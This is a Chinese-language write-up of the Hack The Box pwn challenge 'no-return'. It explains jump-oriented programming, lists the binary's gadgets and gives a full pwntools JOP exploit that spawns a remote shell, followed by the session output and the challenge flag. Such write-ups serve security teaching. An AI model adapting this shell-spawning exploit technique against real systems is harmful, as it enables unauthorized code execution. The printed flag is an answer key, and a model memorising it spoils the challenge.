Hack-The-Box-pwn-challenge[no-return]

详细过程及exp

no return 是一道极具挑战性的pwn,首先很容易的将这个程序逆向,输入一些内容来溢出它会泄露堆栈地址。

1
2
3
4
5
6
int main()
{
write(1, &return_address, 8);
read(0, rsp-0xb0, 0xc0);
__asm_volatile("add rsp, 0x8; jmp rsp");
}

在最后,它跳回了顶端,非常有趣,当搜索gadgets时,只有非常少量的以ret结尾的gadgets(只有一个不重合的gadget被ropper找到),因此这个挑战的名字叫no return,然而,ropper之后展示了很多以JOP结尾的gadgets,使我想到了JOP链。

网上没有很多关于JOP链的资源,下面是我自己用到的:

  • Concept of Jump-Oriented-Programming JOP
  • Jump-Oriented Programming A New Class of Code-ReuseAttack

在那之后也写了一篇非常基础的关于JOPs的文章在博客上

  • Jump Oriented Programming and Call Oriented Programming JOP and PCOP

基本的想法是一旦能使链移动,想让它跳转到dispatcher gadget然后设置一个dispatch表。那个dispatch表指向在寄存器上以一个跳转结束的gadgets,所以能使它返回到dispatcher,至于dispatcher gadget, 它的目的是使寄存器递增到指向下一个在dispatch表的gadget然后跳转到那儿,和平常一样dump出整个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0x401000: pop rsp
0x401001: pop rdi
0x401002: pop rsi
0x401003: pop rbp
0x401004: pop rdx
0x401005: pop rcx
0x401006: pop rbx
0x401007: xor rax,rax
0x40100a: jmp QWORD PTR [rdi+0x1]
0x40100d: inc rax
0x401010: fdivrp st(1),st
0x401012: jmp QWORD PTR [rdx]
0x401014: sub rsi,QWORD PTR [rsp+0x10]
0x401019: cmc
0x40101a: jmp QWORD PTR [rdx]
0x40101c: mov rcx,rsp
0x40101f: std
0x401020: jmp QWORD PTR [rdx]
0x401022: lea rcx,[rcx+rbx*8]
0x401026: std
0x401027: jmp QWORD PTR [rcx]
0x401029: xor rbp,rdx
0x40102c: setne ah
0x40102f: jmp QWORD PTR [rbp-0x17bc0000]
0x401035: add rsp,rsi
0x401038: fdivp st(1),st
0x40103a: jmp QWORD PTR [rdx]
0x40103c: add rbp,rbx
0x40103f: fwait
0x401040: jmp QWORD PTR [rbp-0x39]
0x401043: mov BYTE PTR [rdi-0x17bc0000],ah
0x401049: stc
0x40104a: jmp QWORD PTR [rdx]
0x40104c: pop rcx
0x40104d: mov rcx,rdx
0x401050: pop rdx
0x401051: jmp QWORD PTR [rcx]
0x401053: inc rcx
0x401056: fdivrp st(1),st
0x401058: jmp QWORD PTR [rdx]
0x40105a: xchg rdx,rax
0x40105c: fdivp st(1),st
0x40105e: jmp QWORD PTR [rcx]
0x401060: inc rbx
0x401063: fdivrp st(1),st
0x401065: jmp QWORD PTR [rdx]
0x401067: xchg rdi,rcx
0x40106a: std
0x40106b: jmp QWORD PTR [rdx]
0x40106d: push rsp
0x40106e: xor rax,rax
0x401071: inc rax
0x401074: xor rdi,rdi
0x401077: inc rdi
0x40107a: mov rsi,rsp
0x40107d: mov edx,0x8
0x401082: syscall
0x401084: sub rsi,0xb0
0x40108b: xor rax,rax
0x40108e: xor rdi,rdi
0x401091: lea rsi,[rsi]
0x401094: mov edx,0xc0
0x401099: syscall
0x40109b: add rsp,0x8
0x40109f: jmp QWORD PTR [rsp-0x8]

现在开始搜索一些gadgets,我们的终极目标是pop一个shell,使用明显的syscall gadget, 去找一个execve(“/bin/sh”, 0, 0)。

第一个看起来对控制寄存器初始化跳转和设置很有帮助。需要重设buffer基址的堆栈然后从那pop地址进寄存器,所以之后能影响控制流然后控制rdi跳转(和不重合的帮助)。

1
2
3
4
5
6
7
8
9
0x401000: pop rsp
0x401001: pop rdi
0x401002: pop rsi
0x401003: pop rbp
0x401004: pop rdx
0x401005: pop rcx
0x401006: pop rbx
0x401007: xor rax,rax
0x40100a: jmp QWORD PTR [rdi+1]

如果在buffer的dispatch表之前使rbx 8和rbx point 8字节,以下会是很好的dispatcher gadget:

1
2
3
0x40103c: add rbp,rbx
0x40103f: fwait
0x401040: jmp QWORD PTR [rbp-0x39]

在继续之前,重要的是注意到很多以下的gadgets都以rcx和rdx跳跃结尾,所以使它们指向回dispatcher gadget很重要。

为了设置 /bin/sh,下面两个gadgets会被用到:

1
2
3
0x401067: xchg rdi,rcx
0x40106a: std
0x40106b: jmp QWORD PTR [rdx]
1
2
3
0x40101c: mov rcx,rsp
0x40101f: std
0x401020: jmp QWORD PTR [rdx]

这两个都依赖rcx跳回dispatcher,rdx不需要被很好的保存。当它第一次pops 进入rcx,它获取了什么不重要。然后它会移动rdx(指向dispatcher)进到rcx.确保59 pop进入rdx。当这个xchg gadget被击中时, rdx会变成0(在第一次使用的pop链中rax被置空)然后rax会变成59.得到了dispatch表然后走到syscall gadget会打开一个shell。

这是最终的exploit代码(调试部分对观察程序流和jmp关系很重要):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import sys

p = remote('167.99.86.47', int(sys.argv[1]))
#p = process('./no-return')
#context.log_level = 'debug'

#for debugging, attach when prompt for read, and then just hit step
stackleak = u64(p.recv(8))
log.info("Stack leak:" + hex(stackleak))
bufferbase = stackleak - 0xb0

payload = (p64(0x40103c) + p64(bufferbase-0x8-0x1) #rdi
+ p64(0) #rsi
+ p64(bufferbase+0x30+0x8+0x39) #rbp, remember to adjust to dispatch table, will do later, and make it 0x8 lower because of the add instruction
+ p64(bufferbase-0x8) #rdx
+ p64(bufferbase-0x8) #rcx
+ p64(0x8) #rbx, so it becomes good incrementation for dispatch table
+ "/bin/sh\x00" + p64(59) #rsp will point there, two pops until rdx, so that will be good
+ p64(0x401067) #dispatch to xchg gadget for rdi and rcx
+ p64(0x40101c) #mov rsp address to rcx
+ p64(0x401067) #restore dispatcher to rcx, mov /bin/sh to rdi
+ p64(0x40104c) #set rdx to 59
+ p64(0x40105a) #rdx to null, rax to rdx old rdi value, which is 59
+ p64(0x401099) #syscall
+ '').ljust(0xb0, 'A') + p64(0x401000) + p64(bufferbase)
p.sendline(payload)
p.interactive()

运行脚本获取flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[~/hackthebox/challenge/pwn/noreturn]
└─# python getshell.py 32664
[+] Opening connection to 178.62.0.100 on port 32664: Done
[*] Stack leak:0x7ffdebc61b20
[*] Switching to interactive mode
$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ whoami
ctf
$ ls
11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
no-return
run_challenge.sh
$ cat 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
HTB{y0uv3_35c4p3d_7h3_v01d_0f_n0_r37urn}